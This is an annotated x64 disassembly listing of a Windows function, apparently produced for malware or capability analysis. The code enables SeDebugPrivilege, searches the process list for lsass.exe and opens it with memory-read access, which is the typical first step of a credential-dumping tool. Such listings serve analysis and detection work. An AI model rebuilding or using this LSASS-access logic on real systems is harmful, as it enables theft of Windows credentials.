Function at 0x140001000
Capabilities:
Acquire debug privileges
Enumerate processes
Execute command
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400010af
lea r8, [rsp + 0x30]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400010af
mov rax, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400010a8
lea rcx, str.AdjustTokenPrivilege_Error_n
call fcn.140001300
jmp 0x1400010bd
mov eax, 1
jmp 0x1400010bf
lea rcx, str.SetPrivilege_Error_n
call fcn.140001300
xor ebx, ebx
mov eax, ebx
test eax, eax
je 0x1400012bf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400012bf
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400012bf
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x60], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
cmp dword [rsp + 0x30], 0
je 0x1400012bf
mov qword [rsp + 0x2d8], rdi
lea rcx, str._n___AdjustProcessPrivilege___ok_._n_n
mov qword [rsp + 0x2d0], rsi
call fcn.140001300
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x70], 0x238
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x70]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001211
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001211
lea rsi, str.lsass.exe
nop word [rax + rax]
lea rdx, [rbp - 0x64]
mov rax, rbx
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x1400011ff
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x1400011ff
add rax, 2
cmp rax, 0xa
jne 0x1400011d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x78]
jmp 0x14000121a
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400011c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140006668], rax
call fcn.1400016a0
lea rcx, [0x140004404]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov edx, 0x10
lea rcx, [0x140006680]
call fcn.140002250
mov edx, 0x10
lea rcx, [0x140006690]
call fcn.140002250
mov edx, 0x18
lea rcx, [0x1400066a0]
call fcn.140002250
call fcn.140001c30
call fcn.140001ee0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [rsp + 0x2d8]
xor eax, eax
mov rsi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400023b0
mov rbx, qword [rsp + 0x2e0]
add rsp, 0x2c0
pop rbp
ret
lea rcx, str.AdjustProcessPrivilege___not_working_..._n
call fcn.140001300
lea rcx, str.Are_you_running_as_Admin___..._n
call fcn.140001300
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]